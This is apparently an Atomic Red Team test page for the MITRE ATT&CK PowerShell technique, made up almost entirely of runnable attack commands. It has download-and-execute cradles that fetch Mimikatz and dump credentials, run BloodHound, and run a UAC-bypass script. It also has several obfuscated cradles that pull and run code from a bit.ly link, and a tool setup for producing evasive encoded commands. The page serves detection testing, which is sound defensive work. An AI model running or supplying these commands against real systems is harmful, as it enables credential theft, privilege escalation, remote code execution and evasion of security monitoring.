MITRE ATT&CK Technique: [T1086](https://attack.mitre.org/wiki/Technique/T1086)

### Download Mimikatz and Dump credentials

    powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

### Download and Execute BloodHound

    powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/BloodHound_Old.ps1'); Get-BloodHoundData"

### Download Mimikatz and Dump credentials

Just download it:

    (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))

Minor obfuscation:

    (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs()

All obfuscation:

    Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))

### Invoke-AppPathBypass

Note: Windows 10 only

Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

    Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass"

At prompt, to test:

    C:\Windows\System32\cmd.exe

### Obfuscated Powershell

Fancy obfuscation that reaches out to bit.ly/L3g1t to stdout: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION"

    cmd /c "set apple=fish (cars help://bit.ly/L3g1t).content&&cmd /c set boat=%apple:fish=iex% ^&^&cmd /c set ab=%boat:cars=iwr% ^^^&^^^&cmd /c echo %ab:el=tt%|%ProgramData:~3,1%%ProgramData:~5,1%we%ProgramData:~7,1%she%Public:~12,1%%Public:~12,1% -"

Second test:

    cmd /c "set apple=fish (cars ('http://bit.ly/L3g1tCrad1e).content&&cmd /c set boat=%apple:fish=iex% ^&^&cmd /c set ab=%boat:cars=iwr% ^^^&^^^&cmd /c echo %ab:el=tt%|%ProgramData:~3,1%%ProgramData:~5,1%we%ProgramData:~7,1%she%Public:~12,1%%Public:~12,1% -"

## Powershell Obfuscation

[Out-FINcodedCommand](https://github.com/danielbohannon/Out-FINcodedCommand/blob/master/README.md)


Setup:

    Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/danielbohannon/Out-FINcodedCommand/master/Out-FINcodedCommand.ps1')

Input:

    Out-FINcodedCommand -command "iex (iwr http://bit.ly/L3g1t).content" -FinalBinary powershell

Follow prompts to create variables.

Output:

    cmd /c "set apple=fish (cars help://bit.ly/L3g1t).content&&cmd /c set boat=%apple:fish=iex% ^&^&cmd /c set ab=%boat:cars=iwr% ^^^&^^^&cmd /c echo %ab:el=tt%|%ProgramData:~3,1%%ProgramData:~5,1%we%ProgramData:~7,1%she%Public:~12,1%%Public:~12,1% -"
